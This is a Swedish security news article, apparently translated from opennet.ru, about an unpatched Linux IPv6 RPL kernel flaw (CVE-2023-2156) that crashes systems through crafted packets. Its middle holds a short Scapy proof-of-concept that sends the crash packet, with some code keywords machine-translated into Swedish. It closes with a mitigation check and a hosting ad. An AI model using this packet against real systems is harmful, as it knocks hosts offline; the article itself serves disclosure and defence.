0-dagars sÄrbarhet i Linux IPv6-stack som möjliggör fjÀrrstyrd krasch av kÀrnan

Uppgifter om en oÄtgÀrdad (0-day) sÄrbarhet (CVE-2023-2156) i Linux-kÀrnan har avslöjats, vilket gör det möjligt att stoppa systemets funktion genom att skicka speciellt utformade IPv6-paket (packet-of-death). Problemet uppstÄr endast nÀr stöd för RPL-protokollet (Routing Protocol for Low-Power and Lossy Networks) Àr aktiverat, vilket Àr avstÀngt som standard i distributioner och anvÀnds huvudsakligen pÄ inbyggda enheter som arbetar i trÄdlösa nÀtverk med hög paketförlust.

SÄrbarheten orsakas av felaktig hantering av externa data i koden för RPL-protokollet, vilket leder till att en assert-felaktighet intrÀffar och kÀrnan hamnar i ett paniklÀge. Vid placering av data i k_buff-strukturen (Socket Buffer), som erhÄllits genom att analysera IPv6 RPL-paketets huvuden, om fÀltet CmprI Àr instÀllt pÄ 15, fÀltet Segleft pÄ 1 och CmprE pÄ 0, packas en 48-byte vektor med adresser ut till 528 byte och det uppstÄr en situation dÀr det tilldelade minnet för bufferten inte Àr tillrÀckligt. I detta fall utlöses en kontroll pÄ oförhÄllande mellan datastorlek och buffert i funktionen skb_push, vilket orsakar paniklÀge för att förhindra skrivning utanför bufferten.

Exempel pÄ exploatering: # Vi anvÀnder Scapy för att skapa paketet frÄn scapy.all importera * importera socket # AnvÀnd IPv6 frÄn ditt LAN-grÀnssnitt DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Vi anvÀnder sockets för att skicka paketet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Skapa paketet # Typ = 3 gör detta till ett RPL-paket # Adresser innehÄller 3 adresser, men eftersom CmprI Àr 15, # varje oktett av de första tvÄ adresserna behandlas som en komprimerad adress # Segleft = 1 för att utlösa amplifiering # lastentry = 0xf0 sÀtter CmprI till 15 och CmprE till 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Skicka detta onda paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Det Àr anmÀrkningsvÀrt att kÀrnutvecklarna informerades om sÄrbarheten redan i januari 2022 och under de senaste 15 mÄnaderna har tre gÄnger försökt ÄtgÀrda problemet genom att slÀppa patchar i september 2022, oktober 2022 och april 2023, men varje gÄng var korrigeringarna otillrÀckliga och sÄrbarheten kunde Äterskapas. Slutligen beslutade projektet ZDI, som koordinerade arbetet med att ÄtgÀrda sÄrbarheten, att offentliggöra detaljerad information om sÄrbarheten utan att vÀnta pÄ en fungerande korrigering i kÀrnan.

DÀrmed förblir sÄrbarheten fortfarande oÄtgÀrdad. Det inkluderar att patchen som ingick i kÀrnan 6.4-rc2 inte Àr effektiv. AnvÀndare rekommenderas att kontrollera att RPL-protokollet inte anvÀnds i deras system, vilket kan göras med kommandot sysctl -a | grep -i rpl_seg_enabled

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster